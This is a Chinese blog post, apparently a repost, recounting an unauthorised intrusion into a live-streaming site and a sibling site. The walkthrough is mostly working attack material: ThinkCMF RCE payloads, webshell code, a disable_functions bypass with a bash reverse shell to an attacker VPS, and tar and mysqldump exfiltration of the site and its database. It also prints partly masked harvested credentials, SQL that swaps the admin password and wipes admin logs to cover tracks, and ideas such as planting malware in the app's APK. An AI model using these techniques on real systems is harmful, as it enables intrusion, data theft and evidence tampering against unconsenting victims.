前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次因“打码”不严的渗透测试

记一次因“打码”不严的渗透测试

作者头像
HACK学习
发布2020-11-03 15:05:09
2.2K1
发布2020-11-03 15:05:09
举报
文章被收录于专栏:HACK学习HACK学习

0x01 前言

这篇文章记录的是笔者在阅读“******惨案之对某色情直播渗透”文章时发现可能存在漏点的情况,所以就想着尝试找出目标站点并对其漏洞进行复现测试,再看下能不能继续深入的搞点事情。

事后才得知那篇文章是由团队成员@久哥和他公司小伙伴一起写的,并投稿到了某处,已告知漏点之处!!!

0x02 通过Twitter平台找目标站点

原文章作者虽然对域名、IP以及一些关键字等信息都做了打码处理,但笔者还是通过Twitter截图上的某些关键字成功找到那条推文信息,左为原作者截图,右为笔者截图。

通过与原文中的推文作者头像和网站界面比对基本可以确定这就是他们的测试目标了,打开该网站后发现只是一个纯静态的APP引导下载站:http://****.xyz,暂时没法搞,先放一边。

这里还需要通过这个APP找出他的域名,可以选择逆向APK或者抓包的方式得到。笔者没有Android逆向环境,找团队成员@Twe1ve帮忙看了下,说是加壳了,暂时没法脱,最后用Fiddler工具抓包得到他们测试的域名为:http://live.******.com

使用Fiddler工具在抓HTTPS包时需要注意以下两点:

  • 1. 工具->选项->连接->Fidder在端口上侦听(必须和模拟器端口对应)
  • 2. 工具->选项->HTTPS->捕获HTTPS连接和解密HTTPS流量选项(勾选)

0x03 利用ThinkCMF漏洞Getshell

通过对网站的观察发现是基于ThinkCMF开发的云豹直播系统,原文中已经说明这套程序的漏洞点出在ThinkCMF,并且作者也已经给出了最终利用Payload。

代码语言:javascript
复制
http://live.******.com/?a=fetch&content=<?=phpinfo();exit();

phpinfo探针信息中得知目标PHP为7.2.18版本,disable_functions禁用了以下危险函数。

代码语言:javascript
复制
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
(1) 绕过写入字符长度限制

这里限制了写入字符的长度,无法一次性将我们的PHP一句话木马写进去,一次性写入时会提示:模板不存在:themes/simplebootx/Portal/Index/fetch.html。

代码语言:javascript
复制
http://live.******.com/?a=fetch&content=<?=@$fp=fopen("xx.php",'a '); fwrite($fp,'<?php phpinfo();?>');exit();

不过这里可以用fopen()函数+a将字符一个一个写进去,手动提交太麻烦,而且还经常写错,这里笔者将<?php phpinfo();?>分割成了每行一个字符,然后通过Burpsuite里的Intruder模块批量写入,注意线程不要过快,否则可能写入失败。

代码语言:javascript
复制
<
?
p
h
p
 p
h
p
i
n
f
o
(
)
;
?
>
'
"
(2) 绕过中国菜刀PHP7限制

众所周知“中国菜刀”在PHP7版本以后是无法连接上普通PHP一句话木马的,按照上边提供的方法将以下PHP一句话木马写进去,当然也可以尝试使用中国蚁剑和冰蝎进行连接。

代码语言:javascript
复制
<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>

写入PHP一句话木马时发现空格经常出现问题,'单引号也写不进去404,可以将部分'单引号换成"双引号,写入空格时建议与前或后1个字符一起写入,最终修改的PHP一句话木马如下。

代码语言:javascript
复制
<?php $z0=str_replace("@set_magic_quotes_runtime(0);","",base64_decode($_POST[z0]));$_POST[z0]=base64_encode($z0);@eval($_POST[cmd]);?>

使用修改后的PHP一句话木马成功拿到Webshell权限,但是启用了disable_functions,中国菜刀的虚拟终端:“提示:......,可能远程启用了安全模式!”,无法直接执行系统命令。

在以下两个数据库配置文件中找到MySQL、Redis账户密码,还在functions.php文件中找到一个过期的短信API账户密码,上边有QQ、Email、手机号等信息,暂时没什么鸟用,但可以先把这些信息搜集着,密码存在一定规律性,说不定后边能够用上。

  • /www/wwwroot/backend/data/conf/db.php
  • /www/wwwroot/backend/api/Config/dbs.php
代码语言:javascript
复制
 /* mysql */
    'DB_TYPE' => 'mysqli',
    'DB_HOST' => '127.0.0.1',
    'DB_NAME' => 'MH***hN',
    'DB_USER' => 'MH***hN',
    'DB_PWD' => 'MH***hNBbaYaNWxk',
    'DB_PORT' => '3306',
    'DB_PREFIX' => 'cmf_',
    'DB_CHARSET' => 'utf8mb4',

  /* redis */
  'REDIS_HOST' => "127.0.0.1",
  'REDIS_AUTH' => "****tao",
  'REDIS_PORT' => "6379",
    //密钥
    "AUTHCODE" => 'rCt52pF2cnnKNB3Hkp',
    //cookies
    "COOKIE_PREFIX" => 'AJ1sOD_',
  • /www/wwwroot/backend/api/Common/functions.php
代码语言:javascript
复制
$smsapi = "http://api.sms***.com/";
$user = "xiaotianxin***";  //短信平台帐号
$pass = md5("dfh****");    //短信平台密码

QQ:776**344
Email:***dfh@gmail.com
手机号:150****6034
代码语言:javascript
复制

0x04 绕过disable_functions反弹Shell

这里笔者直接用https://github.com/mm0r1/exploits项目中的php7-backtrace-bypass脚本绕过了disable_functions,将该脚本中的pwn("uname -a");修改为我们的Bash反弹命令即可。

代码语言:javascript
复制
pwn("bash -i >& /dev/tcp/VPS_IP_Addr/Port 0>&1");

0x05 打包程序和数据并进入网站后台

在弹回的命令终端中连接MySQL时发现不能进行交互,这时我们只需要在弹回的命令终端中执行以下命令即可得到一个半交互式命令终端,然后就可以正常连接MySQL了。

代码语言:javascript
复制
[www@localhost backend]$ python -c 'import pty; pty.spawn("/bin/bash")'
(1) 打包网站程序和数据库

使用tar、mysqldump、gunzip等命令将该网站程序和数据库给打包下来,便于我们本地做复现测试,当时忘了截图,就几条命令的事,就不再去补图了。

代码语言:javascript
复制
tar -cvf backend.tar /www/wwwroot/backend/
mysqldump -h127.0.0.1 -uroot -proot --databases MH***hN | gzip > backend.sql.gz
gunzip backend.sql.gz
(2) 修改管理员密码进入后台

MySQL数据库中找到的管理员密码无法通过解密得到明文密码,在function.php文件中找到ThinkCFM的加密算法如下,密文格式为:###08e3756d043515f77e8de4f5deb00496。

代码语言:javascript
复制
<?php 
/* 密码加密 */
function setPass($pass){
$authcode='rCt52pF2cnnKNB3Hkp'; 
$pass="###".md5(md5($authcode.$pass)); 
return $pass;
}
echo setpass('123456')
?>

通过加密算法得到一个密文,进入MySQL替换管理员密码即可进入目标网站后台,这种方式最为简单快捷,但是动静比较大,需选择一个管理员不在线的时间段去操作,否则可能会被对方发现,最后还得恢复管理员密码和清除登录IP和操作日志,为防止误操作建议先在本地搭建环境测试。

代码语言:javascript
复制
1、查询管理员用户:
SELECT * FROM `cmf_users` WHERE `user_login`='B8V9nAV';

2、查询多少用户在用这个密码:
SELECT * FROM `cmf_users` WHERE FIND_IN_SET('###08e3756d043515f77e8de4f5deb00496',user_pass);

3、查询最近登录用户:
SELECT * FROM `cmf_users` ORDER BY last_login_time DESC;

4、修改管理员密码:
UPDATE `cmf_users` SET `user_pass`='###73b13b8b4d767f6c3c2953f123d1a721' WHERE (`user_login`='B8V9nAV');

5、删除管理员日志并重新按ID进行排序:
DELETE FROM `cmf_admin_log` WHERE (`id`>='4175');ALTER TABLE cmf_admin_log AUTO_INCREMENT = 1;

6、恢复管理员密码并替换最后登录IP和时间:
UPDATE `cmf_users` SET `user_pass`='###08e3756d043515f77e8de4f5deb00496',`last_login_ip`='122.60.22.247',`last_login_time`='2020-07-23 05:41:06' WHERE (`user_login`='B8V9nAV');
(3) 进入后台及后续渗透思路

目前可进入目标网站后台和后续的渗透思路有以下一些,也希望各位大佬能补充一些其它思路,谢谢!

  • 1、修改后台登录入口嗅探登录的用户和密码;
  • 2、通过加密算法生成密文字典进行撞库攻击;
  • 3、通过加密算法生成密文后进入数据库修改;
  • 4、XSS打Cookie或Flash水坑钓鱼等攻击方式;
  • 5、APK中注入恶意程序,替换APK的下载地址;
  • 6、......

0x06 峰回路转之撸下APP引导下载站

管理员将云豹直播系统和APP引导下载站分别放在不同服务器上,所以无法通过目前已拿到的Webshell直接跨到APP引导下载站。我们继续来看下APP引导下载站,由于它是一个纯静态的网站,所以只能对它的旁站进行测试,查询到的旁站列表如下。

旁站列表中找到一个http://cl.****.xyz,网页源代码中发现用的是“辣椒cms”,这套程序与“久草CMS”类似,大多被用来搭建Sex影视站,没有用到数据库,所有视频数据均调用主站数据库,管理员用户密码保存在.\Jccms_json\admin_boss\boss.php文件中。

(1) 通过辣椒CMS进行Getshell

默认后台地址:http://cl.****.xyz/adminx/,使用“辣椒cms”默认管理员用户密码lajiaocms成功进入网站后台,然后在后台的登录重置处将密码修改为以下代码即可Getshell。

代码语言:javascript
复制
');echo ‘111111’;$z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";//
(2) 绕过宝塔open_basedir跨站

两台服务器都是使用宝塔建的站,每个站的根目录下都会有一个.user.ini文件,并且使用open_basedir限制我们进行跨目录访问,网站根目录.user.ini文件内容如下。

代码语言:javascript
复制
open_basedir=/www/wwwroot/cl.****.xyz/:/tmp/:/proc/

不过我们可以在当前Webshell根目录下新建一个.user.ini文件,将内容修改如下即可绕过open_basedir限制跨目录访问。

代码语言:javascript
复制
open_basedir=/www/wwwroot/:/tmp/:/proc/
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-10-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • (1) 绕过写入字符长度限制
  • (2) 绕过中国菜刀PHP7限制
  • (1) 打包网站程序和数据库
  • (2) 修改管理员密码进入后台
  • (3) 进入后台及后续渗透思路
  • (1) 通过辣椒CMS进行Getshell
  • (2) 绕过宝塔open_basedir跨站
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档